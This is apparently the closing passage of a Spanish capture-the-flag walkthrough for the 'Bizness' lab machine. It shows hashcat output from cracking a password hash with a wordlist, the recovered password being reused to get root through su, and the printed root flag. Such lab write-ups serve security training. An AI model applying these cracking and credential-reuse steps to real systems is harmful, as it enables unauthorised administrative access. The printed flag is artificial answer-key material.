Speed.#1.........: 2056.5 kH/s (0.09ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1478656/14344385 (10.31%)
Rejected.........: 0/1478656 (0.00%)
Restore.Point....: 1477632/14344385 (10.30%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: montano13 -> monkey-moo
Hardware.Mon.#1..: Util: 57%
Started: Thu May 30 16:11:40 2024
Stopped: Thu May 30 16:11:57 2024
Y con el 120 sacamos la pass monkeybizness y entrar al panel administrador
Si pruebo esta pass con el user root en la máquina también conseguimos acceso
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ su root
Password:
root@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0# whoami
root
---------------------------
root@bizness:~# ls
root.txt
root@bizness:~# cat root.txt
96667f3655e098c6a70bb91d31cb07dd